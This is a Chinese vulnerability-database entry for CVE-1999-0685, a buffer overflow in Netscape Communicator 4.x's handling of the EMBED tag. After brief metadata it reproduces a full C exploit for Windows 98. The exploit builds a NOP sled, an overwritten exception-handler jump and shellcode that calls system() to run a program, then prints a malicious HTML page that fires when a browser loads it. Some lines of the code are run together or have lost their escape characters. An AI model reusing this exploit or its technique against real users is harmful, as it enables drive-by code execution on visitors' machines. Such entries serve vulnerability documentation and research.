Netscape Communicator EMBED缓冲区漏洞-安全小百科

Netscape Communicator EMBED缓冲区漏洞

漏洞ID	1105532	漏洞类型	缓冲区溢出
发布时间	1999-09-02	更新时间	2005-05-02
CVE编号	CVE-1999-0685	CNNVD-ID	CNNVD-199909-007
漏洞平台	Windows	CVSS评分	5.1

|漏洞来源

https://www.exploit-db.com/exploits/19486
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199909-007

|漏洞详情

NetscapeCommunicator存在缓冲区溢出漏洞。可以通过pluginspage选项中的EMBED标签导致该漏洞。

|漏洞EXP

/*
source: http://www.securityfocus.com/bid/618/info

In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage. 
*/

/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0([email protected])*/
/**/
/*  DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )


int
main( void )
{
  u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
  
  u_charexploit_code[ STACK_LEN ];
  u_charembed_type[ EMBED_TYPE_LEN ];
  u_longip;
  intloop;
  
  srand( ( u_int )time( 0 ) );
  
  bzero( exploit_code, sizeof( exploit_code ) );
  for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
    exploit_code [loop ] = NOP_CODE;
  
  /* make exploit code */
  ip = JMP_EBX_ADDR;
  exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
  exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
  exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
  exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
  exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8  ) );
  exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0  ) );
  
  win98_exec_code[ CMDLENP ] = strlen( COMMAND );
  strcat( exploit_code, win98_exec_code );
  strcat( exploit_code, FUNCTION );
  strcat( exploit_code, COMMAND );
  
  
  /* set random type */
  for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
    embed_type[ loop ] = 0x23 + ( rand() % 93 );
  
  /* print html */
  printf( "Content-type: text/htmlnn" );
  printf( "<HTML>n" );
  printf( "<HEAD>n" );
  printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>n" );
  printf( "</HEAD>n" );
  printf( "<BODY>n" );
  
  printf( "<EMBED SRC="FreeUNYUN!" PLUGINSPAGE="%s" ", exploit_code );
  printf( "TYPE="%s" WIDTH="1500" HEIGHT="1000">n", embed_type  );
  printf( "</EMBED>n</BODY>n</HTML>n" );
  
  return( 0 );
}

|参考资料

来源:BID
名称:618
链接:http://www.securityfocus.com/bid/618

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